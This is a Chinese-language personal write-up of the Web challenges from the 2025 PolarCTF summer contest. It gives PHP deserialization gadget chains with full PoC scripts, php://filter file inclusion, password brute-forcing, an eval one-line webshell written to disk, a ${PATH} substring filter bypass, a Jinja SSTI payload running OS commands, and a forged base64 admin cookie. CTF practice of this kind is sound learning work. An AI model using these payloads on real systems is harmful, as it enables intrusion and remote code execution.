2025PolarCTF夏季挑战赛个人WP-Web部分复现
简单的链子
源码如下:
<?php
class A {
public $cmd;
function __destruct() {
if (isset($this->cmd)) {
system($this->cmd);
}
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
@unserialize($data);
} else {
highlight_file(__FILE__);
}
简单的反序列化,destruct作为入口,参数cmd构造命令执行
<?php
class A{
public $cmd = "ls";
}
$data = new A();
echo serialize($data);
?>
渗透之王
扫描目录,发现源码泄露(www.zip),和新的路由(admin.php拿到提示—>polarctf)
在新的路由中发现hint:非法的文件包含请求
http://c143e0cf-59ad-4315-a2a8-b5476ac450cf.www.polarctf.com:8090/polarctf/?page=hint.php
源码被加密,尝试使用密码:polarctf,成功解压
拿到密码字典:
字典爆破:
结果登录上还是跳转到了我一开始拿到的路由…………
尝试文件包含读取hint.php源码
http://c143e0cf-59ad-4315-a2a8-b5476ac450cf.www.polarctf.com:8090/polarctf/?page=php://filter/convert.base64-encode/resource=hint.php
发现有upload路由,简单的一句话木马,content-type绕过
命运石之门
登录页面,密码错误和验证码错误回显不一样
目录扫描
http://ca7f77f6-78a6-41e1-a2f2-85e4b6427d62.www.polarctf.com:8090/password.txt
找到字典,密码爆破
找到密码:hunangleiSAMA0712
另外源码中有注释:
5pyJ5pe25YCZ77yM6aqM6K+B56CB5piv5ZCm5aW95L2/5LiN6YeN6KaB
使用万能验证码0000登录
继续密码爆破
第二步密码:huan9le1Sam0
rce命令执行系统
简单的rce,有过滤
尝试双单引号绕过
但是这里过滤了’.’ 无法读取到文件
尝试访问路由f1ag.php
既然你找到这里了那就告诉你点东西吧 异或后它好像改名叫XOR_KEY,给他传个参试一试呢,对了,咱们的靶场叫什么来着?🤔
XOR_KEY=Polar
尝试添加环境变量:
env XOR_KEY=Polar
真假ECR
非预期,转义绕过,可以直接读取flag
狗黑子的隐藏
删除hidden标签,发现可以命令执行,但是有waf
有写文件的权限,可以写一句话木马连shell:
echo '<?php @eval($_POST[1]);?>' >>2.php
创建新文件会服务器异常,追加可以成功写入木马
狗黑子的变量
<?php
error_reporting(0);
highlight_file(__FILE__);
$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
die("heizi");
}
system($gou);
?>
过滤了取反异或,还有字符匹配,很难利用
扫目录发现admin.php路由
发现字符过滤没有完全过滤字符,可以使用path拼接绕过:
查看$PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ls -> ${PATH:5:1}${PATH:2:1}
提取出PATH的第6位和第2位
cat ../* -> ${PATH:7:1}at ../
ghost_render
Markdown渲染平台,上传md文件渲染,尝试SSTI漏洞
上传{{7*7}}
可以利用
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls /var').read()")}}
你也玩铲吗
注册账户后源码中有hint
扫描目录
发现管理员认证页面,尝试伪造cookie
user:admin
—>根据提示:base64
Cookie:auth=dXNlcjphZG1pbg==
nukaka_ser2
分析链子
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
function sanitize_input($data) {
$data = trim($data);
return htmlspecialchars($data, ENT_QUOTES);
}
if(isset($_GET['data'])) {
$raw = base64_decode($_GET['data']);
if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
unserialize($raw);
}
} else {
highlight_file(__FILE__);
}
?>
首先触发wakeup方法,之后触发destruct方法,这里private保护可以改为public,我们需要将debugmode改为true,触发
echo $this->logger;从而触发tostring方法,打印出flag
poc:
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = true;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
function sanitize_input($data) {
$data = trim($data);
return htmlspecialchars($data, ENT_QUOTES);
}
$a = new VulnerableClass();
$b = new FlagReader();
$a->logger = $b;
echo base64_encode(serialize($a));
?>
easyRead
源码如下:
<?php
Class Read{
public $source;
public $is;
public function __toString() {
return $this->is->run("Read");
}
public function __wakeup(){
echo "Hello>>>".$this->source;
}
}
class Help{
public $source;
public $str;
public function Printf($what){
echo "Hello>>>".$what;
echo "<br>";
return $this->str->source;
}
public function __call($name, $arguments){
$this->Printf($name);
}
}
class Polar {
private $var;
public function getit($value){
eval($value);
}
public function __invoke(){
$this->getit($this->var);
}
}
class Doit{
public $is;
private $source;
public function __construct(){
$this->is = array();
}
public function __get($key){
$vul = $this->is;
return $vul();
}
}
if(isset($_GET['polar'])){
@unserialize($_GET['polar']);
}
else{
highlight_file(__FILE__);
}
分析链子:
wakeup->tostring->call->printf->get->invoke->getit
poc:
<?php
Class Read{
public $source;
public $is;
public function __toString() {
return $this->is->run("Read");
}
public function __wakeup(){
echo "Hello>>>".$this->source;
}
}
class Help{
public $source= 'a';
public $str;
public function Printf($what){
echo "Hello>>>".$what;
echo "<br>";
return $this->str->source;
}
public function __call($name, $arguments){
$this->Printf($name);
}
}
class Polar {
private $var = "system('env');";
public function getit($value){
eval($value);
}
public function __invoke(){
$this->getit($this->var);
}
}
class Doit{
public $is;
private $source;
public function __get($key){
$vul = $this->is;
return $vul();
}
}
$a = new Read();
$b = new Read();
$a->source = $b;
$c = new Help();
$b->is = $c;
$d = new Doit();
$c->str = $d;
$e = new Polar();
$d->is = $e;
echo serialize($a)
?>
但是我也没搞懂为啥flag就是这个:flag{Hello>>>Hello>>>run}